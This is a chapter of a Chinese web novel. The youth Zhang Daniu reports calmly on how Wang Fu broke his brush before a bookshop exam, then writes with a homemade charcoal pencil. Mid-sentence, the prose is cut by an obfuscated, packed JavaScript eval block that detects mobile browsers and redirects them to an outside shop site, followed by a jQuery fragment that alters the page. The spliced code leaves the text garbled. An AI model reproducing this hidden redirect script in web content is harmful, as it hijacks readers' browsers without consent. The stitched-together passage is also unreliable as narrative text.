第388章 笔不能用了

作品:《穿成老妇?荒山野菜嘎嘎挖!

    张大牛攥着那支坏掉的笔,指节有些发白。


    他抬起头,看着周明远。


    “笔是这位摔坏的。”他指了指王福,声音不高,却很稳,“他走过来的时候,用胳膊扫到了我的笔。”


    王福的脸涨得更红了,张嘴就要反驳,却被周明远一个眼神压住。


    张大牛继续说下去,语气平平的,没有愤慨,也没有委屈。


    “笔掉在地上,坏了,我把笔捡起来,他没有道歉,也没有说话。”


    他顿了顿,看了一眼王福。


    “所以我把他的笔拿起来,扔在地上。”


    周明远没有说话,只是微微挑了挑眉。


    “他打我,我也躲开了。”张大牛继续说,“他撞翻了条案,才摔在地上。”


    说完,他便不再开口。


    没有添油加醋,没有说自己有多委屈,也没有说王福是故意的还是无意的。


    他只是把发生的事情,按顺序说了一遍。


    屋里静了一瞬。


    王福却急了。


    “你放屁!”他涨红着脸往前冲了一步,手指几乎戳到张大牛脸上,“明明是你先摔我的笔!你先动的手!我、我……”


    他转向周明远,又转向四周那些低着头的少年,声音又尖又急。


    “你们都看见了对不对?你们都看见是他先摔我的笔!你们说句话啊!”


    王福试图拉上周围的其他人帮他作证。


    但没有人抬头,这些人不帮张大牛,也不会主动帮王福说话。


    王福的目光扫过去,那些少年要么低着头装模作样地翻书,要么盯着自己脚尖,像地上开出了花。


    他咬着牙,声音里带上了威胁:“你们不说?行,我记着你们!”


    周明远看了他一眼,那目光不重,却让王福后面的话噎在了喉咙里。


    周明远又看向周显。


    周显站在那里,脸上挂着恰到好处的无奈,像在说“我也管不了”。


    他没有替王福说话,也没有替张大牛说话,只是安静地站着,等着周明远发落。


    周明远又看向那几个少年。


    没有人开口。


    但他心里已经有了数。


    他不是什么都没看见才下来的。


    方才他在二楼整理账册,听见楼下有动静,便走到窗边看了一眼。


    他看见王福站在张大牛身边,胳膊动了一下,然后张大牛蹲下去捡东西。


    再然后,张大牛站起来,拿起王福的笔,扔在地上。


    他没有看见王福是怎么“扫”的那一下,但他看见了王福嘴角压都压不住的笑意。


    他也看见了周显的背影。


    从头到尾,周显都没有回头。


    正好方便周明远看见了周显脸上那点恰到好处的无辜,和王福跳脚时眼底一闪而过的心虚。


    周明远在书肆做了十几年,什么样的人没见过?


    他收回目光,落在地上那支摔裂的竹笔上,又落在张大牛手里那支笔尖翻卷的笔上。


    两个少年,两支笔,一个坏了毫锋,一个断了笔杆。


    他问张大牛:“你的笔,还能用吗?”


    张大牛低头看了看掌心那支笔。


    毫毛已经翻卷起来,有几根折断了,就算勉强沾墨,写出来的字也是一团乱麻。


    他把笔举起来,对着光,又看了一眼。


    “不能了。”他直接说清楚了。


    周明远点点头。


    他又看了一眼王福。


    王福被他看得缩了缩脖子,却还在小声嘟囔:“是他先……”


    周明远没有听他嘟囔,转向那几个少年。


    “方才的事,你们看见了多少,我不问。”


    他的声音不高,却清清楚楚地落在每个人耳朵里。


    “但是考试快开始了,笔墨自备,纸由书肆出。笔坏了,砚台磕了,都是自己的事,能考就考,不能考,门在那边。”


    说完,他看了一眼周显,又看了一眼张大牛,转身往门口走去。


    走到门槛时,他停了一下,头也没回,声音淡淡的。


    “笔墨是读书人的命根子,有人拿命根子不当回事,有人拿命根子当命,谁该考得上,老天爷看着呢!”


    脚步声渐渐远了。


    屋里还是一片寂静。


    周显站在那里,脸上的表情变了又变,最后归于平静。


    他走到自己的条案边,坐下,开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243511|182632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    始研墨,像什么都没发生过。


    王福愣在原地,脸上青白交错。


    他看看地上那支摔裂的笔,又看看周显的背影,嘴唇动了动,最终什么也没说,弯腰把笔捡起来。


    笔杆上的裂纹还在,像一道永远抹不去的疤。


    他坐回自己的位置,开始研墨,墨汁混着灰尘,砚台里一片浑浊。


    张大牛站在原地,把那支坏掉的笔轻轻放回书箱里,笔靠着那方有裂纹的砚台,砚台靠着那叠竹纸。


    他取出那锭墨,放在砚台上。


    然后他坐下来。


    没有笔了,但他没有打算就这样放弃。


    周围那些少年看见张大牛没了笔,已经开始研墨、铺纸。


    偶尔投来一瞥,目光里有同情,有幸灾乐祸,也有事不关己的漠然。


    周显的墨已经研好,正慢条斯理地试笔,一笔一划在草稿纸上写着什么,从容得像在自家书房。


    王福还在跟那支摔裂的笔较劲。


    笔杆上的裂纹不碍事,可笔尖沾了灰,他在砚台里搅了又搅,墨汁调得稠了又稀,怎么都不顺手。


    他嘴里嘀嘀咕咕,眼睛却不住地往周显那边瞟。


    张大牛没有看他们。


    他把手伸进书箱,在砚台底下摸了一阵,掏出一支细细的东西。


    那是一支炭笔。


    笔杆是细细的竹管,比寻常毛笔短一截,一头削得尖尖的,露着黑灰色的炭芯。


    他用指腹摸了摸笔尖,又在掌心划了一道。


    墨色均匀,不涩不滑。


    这是他自己做的。


    林奶奶教过他。


    捡来的细竹管,用火筷子把中间的节捅穿,再把烧过的柳枝炭条磨细了塞进去,外头用布条缠紧固定。


    林奶奶说,这法子是她在路上琢磨出来的,那时候没有纸笔,写字全靠炭笔。


    后来有了纸,可墨锭贵,便想着用炭条替代。


    炭条写字容易糊,一蹭就花。


    林奶奶当时拿树枝在灰堆里划拉着给他看。


    把树枝塞进竹管里,只露出一点点尖儿,写起来就稳当多了。


    他试了几回,烧废了几根柳枝,就做成了。